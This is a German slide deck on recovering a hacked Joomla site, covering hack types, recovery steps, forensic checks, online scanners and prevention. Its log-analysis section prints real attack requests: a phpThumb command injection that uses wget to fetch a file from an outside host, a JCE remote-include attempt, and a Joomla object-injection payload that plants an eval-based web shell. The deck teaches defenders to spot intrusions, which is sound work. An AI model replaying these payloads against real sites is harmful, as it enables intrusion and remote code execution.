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Joomla! wurde gehackt! 
Was muss ich tun?



Über mich

• Christian Schmidt

• 32 Jahre

• Joomla! User Group München-Gründer

• Joomla-Security.de-Gründer



Themen

• Arten von Hacks

• Vorgehensweise

• Hack finden und beheben

• Zukünftige Angriffe abwehren

• Offene Fragen und Antwortrunde 



Arten von Hacks

Eirik Solheim- https://www.flickr.com/photos/eirikso/2217292002/ 

Unzählig viele Arten:

DDoS, Remote Code Execution, Cross 
Site Request Forgrery, Social

Engineering, DNS Cache Poisoning, 
Session & Authentication Attack, Cross 
Site Scripting, Defacemand, Injection, 

usw. 



Vorgehensweise

Grundsätzliche Anleitung:

1. Website vom Netz nehmen
2. Einbruch untersuchen und Lücke finden
3. Passwörter ändern und Backup 
wiederherstellen
4. Lücken schließen, Seite wieder freigeben
5. Website gegen Angriffe absichern

https://www.joomla-security.de/joomla-
gehackt-was-tun.html



Hack finden und beheben
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Hack finden und beheben



Hack finden und beheben
157.55.34.x - - [05/Jan/2014:20:15:03 +0100] "GET 
/de/component/search/?searchword=heizger\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xe2\x80\xa0\xc3\xa2\xe2\x82\xac\xe2\x84\xa2\xc3\x83\xc6\x92\xc3\xa2\xe2\x82\xac\xc2
\xa0\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\xa2\xe2\x80\x9e\xc2\xa2\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\x82\xc2\x
a0\xc3\x83\xc6\x92\xc3\x82\xc2\xa2\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xa1\xc3\x82\xc2\xac\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xbe\xc3\x82\xc2\xa2\xc3\x83\xc6\x92\
xc3\x86\xe2\x80\x99\xc3\x83\xe2\x80\xa0\xc3\xa2\xe2\x82\xac\xe2\x84\xa2\xc3\x83\xc6\x92\xc3\x82\xc2\xa2\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xa1\xc3\x82\xc2\xac\xc3\x8
3\xe2\x80\xa6\xc3\x82\xc2\xa1\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\x85\xc2\xa1\xc3\x83\xc6\x92\xc3\xa2\xe2\x82\xac\xc5\xa1\
xc3\x83\xe2\x80\x9a\xc3\x82\xc2\xa4te HTTP/1.1" 200 81111 www.xxx.de "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" "-"
194.150.113.x - - [05/Jan/2014:21:00:40 +0100] "GET 
/en/?option=com_content&view=article&id=366&Itemid=452&amp;sa=U&amp;ei=kK3JUsWPE86T0QXKxYB4&amp;ved=0CJkBEBYwGA&amp;usg=AFQjCNHlFOPR682oWJYyC48XF93qq2H
LtQ//index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20?src=http://ventaspor.com/wp-includes/php/update.php HTTP/1.1" 200 
79814 www.xxx.de "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.160 Safari/537.22" "-"
95.163.75.x - - [05/Jan/2014:21:04:32 +0100] "GET /administrator/index.php HTTP/1.0" 200 4437 xxx.net "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10" "-"
95.163.75.x - - [05/Jan/2014:21:04:33 +0100] "POST /administrator/index.php HTTP/1.0" 200 125 xxx.net "http://xxx.net/administrator/index.php" "Opera/9.80 (Windows NT 6.1; U; ru) 
Presto/2.8.131 Version/11.10" "-"
74.3.170.33 / CAN / Alberta
74.3.170.33 – – [12/Dec/2015:16:49:40 -0500] “GET /contact/ HTTP/1.1” 403 5322 “http://google.com/” 
“}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0: .. 
{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:..
117.211.131.12 - - [11/Sep/2016:06:56:30 +0200] "GET /wp-login.php HTTP/1.1" 200 1664 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 
www.joomla-security.de
84.201.237.226 - - [11/Sep/2016:08:05:01 +0200] "GET /wp-login.php HTTP/1.1" 301 457 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/36.0.1985.125 Safari/537.36" joomla-security.de
50.97.244.250 - - [28/Jun/2016:23:53:01 +0200] "GET /mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur%7C9%20-
quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20wget%20http://eportal.lekkibritishschool.com/assets/pagat.txt%20-O%20pagat.txt%20;%20&phpThumbDebug=9 
HTTP/1.1" 200 1602 "-" "Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1" www.joomla-security.de
50.97.244.250 - - [28/Jun/2016:23:53:02 +0200] "GET /mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/pagat.txt HTTP/1.1" 302 437 "-" "Mozilla/5.0 (X11; 
Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1" www.joomla-security.de
69.162.124.235 - - [29/Jun/2016:03:36:28 +0200] "GET / HTTP/1.1" 200 17773 "-" "Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)" www.joomla-security.de
195.154.199.69 - - [29/Jun/2016:03:38:18 +0200] "GET / HTTP/1.1" 200 17773 "-" 
"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriver
Mysql":0:{}s:8:"feed_url";s:242:"file_put_contents($_SERVER["DOCUMENT_ROOT"].chr(47)."404bak.php","|=|\x3C".chr(63)."php
\x24mujj=\x24_POST['session'];if(\x24mujj!=''){\x24xsser=base64_decode(\x24_POST['z0']);@eval(\"\\\x24safedg=\x24xsser;\");}");JFactory::getConfig();exit;";s:19:"cache_name_function
";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}~xd9" www.joomla-security.de
195.154.199.69 - - [29/Jun/2016:03:38:19 +0200] "GET / HTTP/1.1" 200 17549 "-" 
"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriver
Mysql":0:{}s:8:"feed_url";s:242:"file_put_contents($_SERVER["DOCUMENT_ROOT"].chr(47)."404bak.php","|=|\x3C".chr(63)."php
\x24mujj=\x24_POST['session'];if(\x24mujj!=''){\x24xsser=base64_decode(\x24_POST['z0']);@eval(\"\\\x24safedg=\x24xsser;\");}");JFactory::getConfig();exit;";s:19:"cache_name_function
";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}~xd9" www.joomla-security.de
195.154.199.69 - - [29/Jun/2016:03:38:19 +0200] "GET //404bak.php HTTP/1.1" 200 1607 "http://www.googlebot.com/bot.html" "Mozilla/5.0 (compatible; Googlebot/2.1; 
+http://www.google.com/bot.html)" www.joomla-security.de



Hack finden und beheben

• Datei Vergleichen: z.B. WinMerge
• Neue Ordner: z.B. TotalComander

Neue Dateien finden: FileZilla
(Timestamp)

• Verglichen mit Backups



Hack finden und beheben

Online Scanner

https://www.virustotal.com
http://www.isithacked.com
https://sitecheck.sucuri.net/
https://quttera.com/
https://app.webinspector.com/



Hack finden und beheben

Probleme beim Finden?

- Dienstleister suchen
- Myjoomla.com
- watchful.li



Hack finden und beheben

Datenbank prüfen?

- z.B. __Content -> Spalte Introtext
(meist am Ende)



Hack finden und beheben

Fragen die gestellt werden müssen?

Lohnt sich die Behebung?
Ist eine Neuinstallation nicht besser und 

schneller?



Zukünftige Angriffe abwehren

www.joomla-security.de
Und viele andere Seiten im Internet



Bettina Braun - https://www.flickr.com/photos/bettina-braun/277386361



Dennis Skley - https://www.flickr.com/photos/dskley/13796815083


